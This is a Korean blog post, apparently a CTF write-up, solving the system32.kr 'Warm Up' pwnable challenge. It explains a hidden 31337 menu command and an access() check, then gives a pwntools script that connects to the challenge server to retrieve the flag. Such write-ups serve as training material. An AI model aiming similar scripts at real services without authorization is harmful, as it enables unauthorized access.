Warm Up
#pwnable #system32.kr #file descriptor
새로운 워게임 사이트를 찾았다!
암호학 위주여서 매우 관심이 간다 ㅎㅎ
첫 단추를 어떤 문제로 풀어볼까 하다가 Warm Up 이라는 pwnable 문제를 찾았다.
파일 디스크립터를 이용하는 문제 같다.
처음에는 파일 디스크립터를 overwrite 하는 종류의 문제인가 했으나 의외로 간단했다.
다만 strip 이 적용된 상태라 glibc 함수들을 일일히 인지하고 복구하는 과정에 약간의 난항이 있다.
우선 위처럼 메뉴가 주어지고 특정 파일을 open하고 읽거나 삭제할 수 있다.
디컴파일 해보니 31337 이라는 숨겨진 커맨드가 있었다.
이 함수는 /home/strange_file/flag 파일내용을 임의의 string 테이블에서 랜덤한 10문자를 뽑아낸 새 파일에 쓰는 역할을 한다.
flag 파일 내용을 새 파일에 옮겨쓰는 모습
일단 이 과정을 거쳤으면 바로 open 해서 read 하면 플래그가 나올 것 같지만...
READ 함수 내부의 위와 같은 access 함수에서 바로 쳐내버린다.
access 함수는 인자가 있는 함수인데 안보여서 어셈블러로 보았더니, 첫 번째 인자로 특정 bss영역 주소와 두 번째 인자로 파일의 존재여부(?)의 플래그인 4가 있는 것을 알 수 있었다.
access 함수는 파일에 접근 가능할 시, 0을 리턴하는데
SECRET 함수 중반부를 보면 그 bss 영역에 새 파일 경로를 다시한번 적어주는 기이한 로직을 갖는 것을 알 수 있다.
이 때문에 READ 함수의 access에서는 성공에 대한 리턴 값 0을 반환하고, SECRET 함수를 거친 이후에 바로 새 파일을 열어볼 수 없는 것이다.
고로, SECRET으로 flag파일의 내용을 받아오고, 다시 nc를 붙어서 그 만들어진 파일을 새로 open하면 된다.
# goseungduk
# system32.kr - warm up
from pwn import *
#s=process("./problem")
s=remote("112.161.27.61",30000)
d=s.recvuntil("> ")
s.sendline("31337")
d=s.recvuntil("files/")
flag=s.recv(10)
log.info(flag)
s.recv()
p=remote("112.161.27.61",30000)
d=p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.send(flag)
p.recvuntil("[!] CLEAR PATH")
p.sendline("2")
p.interactive()
Result
.
.
.
.
.
Contact : a42873410@gmail.com
'<Wargame & CTF> > System32.kr' 카테고리의 다른 글
[System32.kr] RSA101 (0) | 2020.01.04 |
---|